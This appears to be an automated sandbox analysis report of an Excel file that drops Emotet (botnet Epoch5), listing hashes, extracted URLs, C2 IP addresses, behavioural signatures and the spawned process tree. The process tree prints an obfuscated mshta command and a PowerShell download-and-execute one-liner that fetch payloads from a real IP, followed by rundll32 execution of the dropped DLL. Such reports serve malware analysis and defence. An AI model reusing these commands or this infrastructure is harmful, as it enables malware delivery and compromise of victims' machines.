Analysis

  • max time kernel
    145s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-01-2022 03:22

General

  • Target

    tmp5zow45w_.xls

  • Size

    35KB

  • MD5

    b9f3a2c5250ca9f5e3a159d88b4e3342

  • SHA1

    c19c874161d9a9c808bdc8635e33301888fb7c77

  • SHA256

    b7372c7e1872e75729b143fb071c7c33971de80b530329604331941268c19dcf

  • SHA512

    51f9a1c297cee34ecbe990b0319388ffffae20fb83717d94dbc911f5a46454b40310e40b84be418c76c0fb3e36176ff24396c967e234c4baa9ee7a889e532d84

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmp5zow45w_.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1608
    • C:\Windows\SysWOW64\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:268
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/oo/aa/se.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1020
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1188
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1652
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1132
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:888
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xqfswbxiopheuuwq\qpvxrr.ule",pHQCkdyWV
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1460
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xqfswbxiopheuuwq\qpvxrr.ule",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1500

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

2
T1082

Query Registry

1
T1012

Replay Monitor

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Downloads

  • C:\ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • \ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • \ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • \ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • \ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • \ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • \ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • \ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • \ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • memory/888-82-0x00000000024A0000-0x00000000024C7000-memory.dmp
    Filesize

    156KB

  • memory/888-89-0x0000000002780000-0x00000000027A7000-memory.dmp
    Filesize

    156KB

  • memory/888-86-0x00000000025E0000-0x0000000002607000-memory.dmp
    Filesize

    156KB

  • memory/888-84-0x0000000002540000-0x0000000002567000-memory.dmp
    Filesize

    156KB

  • memory/888-78-0x0000000000C50000-0x0000000000C77000-memory.dmp
    Filesize

    156KB

  • memory/888-80-0x0000000002440000-0x0000000002467000-memory.dmp
    Filesize

    156KB

  • memory/1132-69-0x0000000000260000-0x0000000000287000-memory.dmp
    Filesize

    156KB

  • memory/1188-61-0x0000000002350000-0x0000000002F9A000-memory.dmp
    Filesize

    12.3MB

  • memory/1188-62-0x0000000004B40000-0x0000000005191000-memory.dmp
    Filesize

    6.3MB

  • memory/1460-90-0x00000000002F0000-0x0000000000317000-memory.dmp
    Filesize

    156KB

  • memory/1500-94-0x0000000000320000-0x0000000000347000-memory.dmp
    Filesize

    156KB

  • memory/1500-100-0x0000000000C40000-0x0000000000C67000-memory.dmp
    Filesize

    156KB

  • memory/1608-56-0x0000000070DA1000-0x0000000070DA3000-memory.dmp
    Filesize

    8KB

  • memory/1608-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1608-58-0x0000000075AB1000-0x0000000075AB3000-memory.dmp
    Filesize

    8KB

  • memory/1608-55-0x000000002FED1000-0x000000002FED4000-memory.dmp
    Filesize

    12KB

  • memory/1608-124-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB